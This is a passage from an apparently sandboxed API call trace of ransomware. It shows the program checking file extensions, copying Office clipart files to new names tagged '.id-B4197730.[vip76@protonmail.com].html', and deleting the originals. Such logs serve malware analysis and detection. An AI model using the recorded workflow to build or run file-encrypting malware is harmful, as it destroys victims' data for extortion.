	[0074.738] lstrlenW (lpString=".ppt") returned 4
	[0074.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.738] lstrlenW (lpString=".zip") returned 4
	[0074.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.738] lstrlenW (lpString=".rar") returned 4
	[0074.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.738] lstrlenW (lpString=".bz2") returned 4
	[0074.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.738] lstrlenW (lpString=".7z") returned 3
	[0074.739] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.739] lstrlenW (lpString=".dbf") returned 4
	[0074.739] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.739] lstrlenW (lpString=".1cd") returned 4
	[0074.739] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.739] lstrlenW (lpString=".jpg") returned 4
	[0074.739] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.739] lstrlenW (lpString=".doc") returned 4
	[0074.739] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString=".docx") returned 5
	[0074.739] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.739] lstrlenW (lpString=".pdf") returned 4
	[0074.739] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString=".xls") returned 4
	[0074.739] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.739] lstrlenW (lpString=".xlsx") returned 5
	[0074.739] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.739] lstrlenW (lpString=".ppt") returned 4
	[0074.739] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.740] lstrlenW (lpString=".zip") returned 4
	[0074.740] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.740] lstrlenW (lpString=".rar") returned 4
	[0074.740] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.740] lstrlenW (lpString=".bz2") returned 4
	[0074.740] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.740] lstrlenW (lpString=".7z") returned 3
	[0074.740] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.740] lstrlenW (lpString=".dbf") returned 4
	[0074.740] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.740] lstrlenW (lpString=".1cd") returned 4
	[0074.740] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68
	[0074.740] lstrlenW (lpString=".jpg") returned 4
	[0074.740] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.740] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.740] lstrlenW (lpString="BL00267_.WMF") returned 12
	[0074.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.741] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=2644) returned 1
	[0074.741] CloseHandle (hObject=0x37c) returned 1
	[0074.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220
	[0074.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.741] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.742] GetLastError () returned 0x0
	[0074.742] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0xa54, lpOverlapped=0x0) returned 1
	[0074.744] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xa60, lpOverlapped=0x0) returned 1
	[0074.746] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.746] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0074.746] SetEndOfFile (hFile=0x33c) returned 1
	[0074.746] CloseHandle (hObject=0x33c) returned 1
	[0074.747] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.747] SetEndOfFile (hFile=0x37c) returned 1
	[0074.748] CloseHandle (hObject=0x37c) returned 1
	[0074.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0074.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 1
	[0074.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.749] lstrlenW (lpString=".doc") returned 4
	[0074.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.749] lstrlenW (lpString=".docx") returned 5
	[0074.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.749] lstrlenW (lpString=".pdf") returned 4
	[0074.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.749] lstrlenW (lpString=".xls") returned 4
	[0074.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.749] lstrlenW (lpString=".xlsx") returned 5
	[0074.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.749] lstrlenW (lpString=".ppt") returned 4
	[0074.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.749] lstrlenW (lpString=".zip") returned 4
	[0074.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.749] lstrlenW (lpString=".rar") returned 4
	[0074.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.749] lstrlenW (lpString=".bz2") returned 4
	[0074.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString=".7z") returned 3
	[0074.750] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.750] lstrlenW (lpString=".dbf") returned 4
	[0074.750] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.750] lstrlenW (lpString=".1cd") returned 4
	[0074.750] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.750] lstrlenW (lpString=".jpg") returned 4
	[0074.750] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.750] lstrlenW (lpString=".doc") returned 4
	[0074.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString=".docx") returned 5
	[0074.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0074.750] lstrlenW (lpString=".pdf") returned 4
	[0074.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString=".xls") returned 4
	[0074.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0074.750] lstrlenW (lpString=".xlsx") returned 5
	[0074.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0074.750] lstrlenW (lpString=".ppt") returned 4
	[0074.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0074.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.751] lstrlenW (lpString=".zip") returned 4
	[0074.751] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0074.751] lstrlenW (lpString=".rar") returned 4
	[0074.751] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0074.751] lstrlenW (lpString=".bz2") returned 4
	[0074.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0074.751] lstrlenW (lpString=".7z") returned 3
	[0074.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0074.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.751] lstrlenW (lpString=".dbf") returned 4
	[0074.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0074.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.751] lstrlenW (lpString=".1cd") returned 4
	[0074.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0074.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF") returned 68
	[0074.751] lstrlenW (lpString=".jpg") returned 4
	[0074.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0074.751] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0074.751] lstrlenW (lpString="BL00269_.WMF") returned 12
	[0074.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.752] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=5272) returned 1
	[0074.752] CloseHandle (hObject=0x37c) returned 1
	[0074.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x220
	[0074.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0074.752] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.752] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.753] GetLastError () returned 0x0
	[0074.753] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1498, lpOverlapped=0x0) returned 1
	[0075.056] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0075.057] ReadFile (in: hFile=0x37c, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.058] WriteFile (in: hFile=0x33c, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.058] SetEndOfFile (hFile=0x33c) returned 1
	[0075.058] CloseHandle (hObject=0x33c) returned 1
	[0075.059] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.059] SetEndOfFile (hFile=0x37c) returned 1
	[0075.060] CloseHandle (hObject=0x37c) returned 1
	[0075.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.061] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1
	[0075.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.121] lstrlenW (lpString=".doc") returned 4
	[0075.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.121] lstrlenW (lpString=".docx") returned 5
	[0075.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.121] lstrlenW (lpString=".pdf") returned 4
	[0075.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.121] lstrlenW (lpString=".xls") returned 4
	[0075.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.121] lstrlenW (lpString=".xlsx") returned 5
	[0075.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.121] lstrlenW (lpString=".ppt") returned 4
	[0075.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.121] lstrlenW (lpString=".zip") returned 4
	[0075.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.122] lstrlenW (lpString=".rar") returned 4
	[0075.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString=".bz2") returned 4
	[0075.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString=".7z") returned 3
	[0075.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.122] lstrlenW (lpString=".dbf") returned 4
	[0075.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.122] lstrlenW (lpString=".1cd") returned 4
	[0075.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.122] lstrlenW (lpString=".jpg") returned 4
	[0075.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.122] lstrlenW (lpString=".doc") returned 4
	[0075.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.122] lstrlenW (lpString=".docx") returned 5
	[0075.122] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.122] lstrlenW (lpString=".pdf") returned 4
	[0075.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString=".xls") returned 4
	[0075.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.123] lstrlenW (lpString=".xlsx") returned 5
	[0075.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.123] lstrlenW (lpString=".ppt") returned 4
	[0075.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.123] lstrlenW (lpString=".zip") returned 4
	[0075.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0075.123] lstrlenW (lpString=".rar") returned 4
	[0075.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString=".bz2") returned 4
	[0075.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString=".7z") returned 3
	[0075.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.123] lstrlenW (lpString=".dbf") returned 4
	[0075.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.123] lstrlenW (lpString=".1cd") returned 4
	[0075.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0075.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68
	[0075.123] lstrlenW (lpString=".jpg") returned 4
	[0075.123] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0075.124] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0075.124] lstrlenW (lpString="BL00524_.WMF") returned 12
	[0075.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.242] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=6996) returned 1
	[0075.242] CloseHandle (hObject=0x380) returned 1
	[0075.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220
	[0075.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0075.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0075.271] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.271] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0075.290] GetLastError () returned 0x0
	[0075.290] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1b54, lpOverlapped=0x0) returned 1
	[0075.292] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1b60, lpOverlapped=0x0) returned 1
	[0075.294] ReadFile (in: hFile=0x380, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0075.294] WriteFile (in: hFile=0x370, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0075.294] SetEndOfFile (hFile=0x370) returned 1
	[0075.294] CloseHandle (hObject=0x370) returned 1
	[0075.295] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.295] SetEndOfFile (hFile=0x380) returned 1
	[0075.296] CloseHandle (hObject=0x380) returned 1
	[0075.296] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0075.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68
	[0075.297] lstrlenW (lpString=".doc") returned 4
	[0075.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0075.297] lstrlenW (lpString=".docx") returned 5
	[0075.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0075.297] lstrlenW (lpString=".pdf") returned 4
	[0075.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0075.297] lstrlenW (lpString=".xls") returned 4
	[0075.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0075.297] lstrlenW (lpString=".xlsx") returned 5
	[0075.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0075.297] lstrlenW (lpString=".ppt") returned 4
	[0075.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
